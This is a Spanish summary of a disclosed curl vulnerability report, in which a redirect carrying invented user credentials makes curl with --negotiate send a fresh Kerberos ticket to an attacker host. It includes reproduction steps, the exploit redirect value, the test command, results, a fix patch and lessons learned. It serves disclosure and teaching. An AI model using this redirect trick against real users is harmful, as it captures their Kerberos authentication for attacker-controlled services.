Reports
BAJA[AUTENTICACIÓN]#4040551

curl enviaba un ticket Kerberos nuevo (Authorization: Negotiate) al host de una redirección si la URL llevaba usuario

Con --negotiate y -L, bastaba con que el servidor redirigiera a una URL con usuario y contraseña inventados para que curl pidiera al KDC un ticket Kerberos para el host del atacante y se lo enviara, saltándose la protección entre hosts.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

curl promete, en la documentación de CURLOPT_UNRESTRICTED_AUTH, que si esa opción no está activada no manda cabeceras Authorization: ni Cookie: (ni propias ni generadas internamente) a un host distinto del de la URL inicial. El investigador demostró que esa garantía no se cumplía con la autenticación Negotiate (SPNEGO/Kerberos).

La clave está en la condición que decide si se generan las cabeceras de autenticación, en lib/http.c:

    /* Either we have credentials for the origin we talk to or
       performing authentication is allowed here */
    if(data->state.creds || Curl_auth_allowed_to_host(data))
      result = output_auth_headers(data, conn, authhost, request,
                                   path_and_query, FALSE);
    else
      authhost->done = TRUE;

Basta con que se cumpla una de las dos partes. La comprobación de origen (Curl_auth_allowed_to_host) solo importa si no hay credenciales, y las credenciales se pueden obtener de la propia URL de destino, que elige quien redirige.

El encadenamiento es este:

  1. Las credenciales que configura la aplicación (usuario, contraseña, bearer…) sí se comprueban contra el origen en lib/url.c y se descartan al cambiar de host.
  2. En cambio, las que vienen como userinfo en la URL (usuario:clave@host) se leen con curl_url_get(uh, CURLUPART_USER, &user, 0) sin ninguna comprobación de origen, y rellenan data->state.creds para el host nuevo.
  3. Con state.creds no nulo, la condición anterior deja pasar y se ejecuta output_auth_headers() para el host ajeno.
  4. Dentro de esa función, la rama de HTTPSIG sí vuelve a comprobar Curl_auth_allowed_to_host(data), pero la de Negotiate, justo debajo, solo mira que la aplicación no haya puesto su propia cabecera Authorization.
  5. Negotiate no usa usuario ni contraseña: en lib/vauth/spnego_gssapi.c las credenciales se descartan ((void)creds;) y se tira de la caché de credenciales Kerberos de la sesión del usuario.
  6. El nombre de servicio (SPN) se construye con el host actual (data->state.origin->hostname en lib/http_negotiate.c), es decir, el del atacante.

El resultado es curioso: unas credenciales que nunca se usan ni se envían sirven solo para "abrir la puerta" a una autenticación que no las necesita. Su único papel es que el puntero no sea nulo.

También llama la atención que una cabecera Authorization personalizada ya se bloqueaba correctamente entre hosts; solo la generada internamente por Negotiate se colaba.

El fallo se verificó sobre curl d1823ebc17e5778c30f8a6b2221a057ec607a9b7 (8.23.0-DEV, GSS-API + SPNEGO, MIT krb5 1.22.2) y sobre 8.22.1-DEV. Se le asignó el CVE-2026-94265.

Pasos de reproducción

El investigador montó un entorno completo con un KDC real de MIT Kerberos. El proceso:

  1. Compilar curl con soporte GSS-API (-DCURL_USE_GSSAPI=ON) y comprobar que curl -V muestra SPNEGO.
  2. Crear un reino Kerberos de pruebas POC.TEST con un KDC en local, un usuario victim y dos principales de servicio: HTTP/legit.poc.test y HTTP/attacker.poc.test.
  3. Hacer kinit como victim, de forma que tenga un ticket en su caché sin haber tratado nunca con el host del atacante.
  4. Levantar un servidor "legítimo" (legit.poc.test, puerto 19218 por defecto) que responde a todo con un 301 hacia el host del atacante. En la variante de ataque, la cabecera Location lleva usuario y contraseña arbitrarios; en la de control, no:
exploit:  LOC="http://bob:[email protected]:$BPORT/step2"
control:  LOC="http://attacker.poc.test:$BPORT/step2"
  1. Levantar el servidor del "atacante" (attacker.poc.test, puerto 19219 por defecto), que guarda el valor de cualquier cabecera Authorization: Negotiate que reciba.
  2. Ejecutar curl una sola vez, con el mismo comando en las dos variantes: Negotiate y siguiendo redirecciones, sin --location-trusted:
timeout 20 "$CURL_BIN" -sS --negotiate --location \
  --resolve "legit.poc.test:$APORT:127.0.0.1" \
  --resolve "attacker.poc.test:$BPORT:127.0.0.1" \
  "http://legit.poc.test:$APORT/start" -o /dev/null 2>"$WORK/curl.err" || true
  1. Comprobar qué ha recibido el servidor del atacante. Todo el proceso se lanza con el script reproduce.sh del investigador:
VF_CURL=<curl-with-spnego> sh reproduce.sh exploit
VF_CURL=<curl-with-spnego> sh reproduce.sh control

Resultado:

exploit: attacker origin received Authorization: Negotiate (1060 b64 chars)
  AP-REQ principal fields: ['POC.TEST', 'HTTP', 'attacker.poc.test']
control: attacker origin received NO Authorization header

El token es un envoltorio SPNEGO (OID 1.3.6.1.5.5.2) sobre un AP-REQ de Kerberos (OID 1.2.840.113554.1.2.2) cuyo ticket es para HTTP/attacker.poc.test. legit.poc.test no aparece por ningún lado, así que no es una reutilización del ticket del primer host, sino uno nuevo emitido por el KDC. klist lo confirma: la víctima tiene en su caché un ticket para HTTP/[email protected], un host al que nunca pidió conectarse.

La única diferencia entre las dos pruebas es el userinfo de la redirección, lo que demuestra que esa es la causa.

Impacto

Este no es el típico "se reenvía la cabecera al redirigir". curl realiza un handshake de autenticación completo y nuevo contra el servicio del atacante en nombre de la víctima, así que la exposición no se limita a lo que ya se hubiera enviado.

Escenario: un usuario usa curl --negotiate -L contra un servicio interno con inicio de sesión único Kerberos. Si ese servicio (o una web con una redirección abierta) lo redirige a un host del atacante con usuario y contraseña inventados en la URL, el atacante:

  • Recibe un AP-REQ válido para un SPN cuya clave controla, así que puede descifrarlo y conocer la identidad autenticada de la víctima.
  • Según el investigador, con CURLOPT_GSSAPI_DELEGATION el ticket sería reenviable, y en Windows con SSPI un SPN desconocido recurre a NTLM, lo que daría un intercambio NTLM susceptible de relay. Estos dos escenarios no se demostraron y no se tuvieron en cuenta en la valoración.

HackerOne muestra la severidad del reporte como "none".

Remediación

El investigador propuso un parche que añade la comprobación de origen en la rama de Negotiate y también en la de NTLM, y verificó que corrige el fallo sin romper el uso normal de Negotiate ni --location-trusted:

  diff --git a/lib/http.c b/lib/http.c
  index 3ed023753d..4b31cc2376 100644
  --- a/lib/http.c
  +++ b/lib/http.c
  @@ -691,7 +691,8 @@ static CURLcode output_auth_headers(struct Curl_easy *data,
         (proxy && !Curl_checkProxyheaders(data, conn,
                                           STRCONST("Proxy-authorization"))) ||
   #endif
  -      (!proxy && !Curl_checkheaders(data, STRCONST("Authorization")))) {
  +      (!proxy && !Curl_checkheaders(data, STRCONST("Authorization")) &&
  +       Curl_auth_allowed_to_host(data))) {
         auth = "Negotiate";
         result = Curl_output_negotiate(data, conn, proxy);
         if(result)
  @@ -704,10 +705,14 @@ static CURLcode output_auth_headers(struct Curl_easy *data,
   #endif
   #ifdef USE_NTLM
     if(authstatus->picked == CURLAUTH_NTLM) {
  -    auth = "NTLM";
  -    result = Curl_output_ntlm(data, proxy);
  -    if(result)
  -      return result;
  +    if(proxy || Curl_auth_allowed_to_host(data)) {
  +      auth = "NTLM";
  +      result = Curl_output_ntlm(data, proxy);
  +      if(result)
  +        return result;
  +    }
  +    else
  +      authstatus->done = TRUE;
     }
     else
   #endif

El reporte se envió el 18 de septiembre de 2026, figura como resuelto y se divulgó el 14 de octubre de 2026.

Qué aprender de este caso

  • Cuando una condición de seguridad usa || ("hay credenciales o el host está permitido"), pregúntate si la primera parte la puede satisfacer el atacante. Aquí bastaba con meter bob:alice@ en la URL de la redirección.
  • Revisa por separado cada origen del que una librería saca credenciales: las configuradas por la aplicación se comprobaban contra el host, pero las del userinfo de la URL no. Un Location con usuario y contraseña es una prueba barata en cualquier cliente HTTP que siga redirecciones.
  • Los mecanismos que autentican con la identidad ambiental (Kerberos/SPNEGO, NTLM) no necesitan usuario ni contraseña, así que no pueden depender de "si hay credenciales": deben comprobar siempre el destino, como ya hacía la rama de HTTPSIG.
  • Si en un mismo bloque de mecanismos de autenticación uno tiene una comprobación de origen y el de al lado no, es una buena pista de por dónde buscar.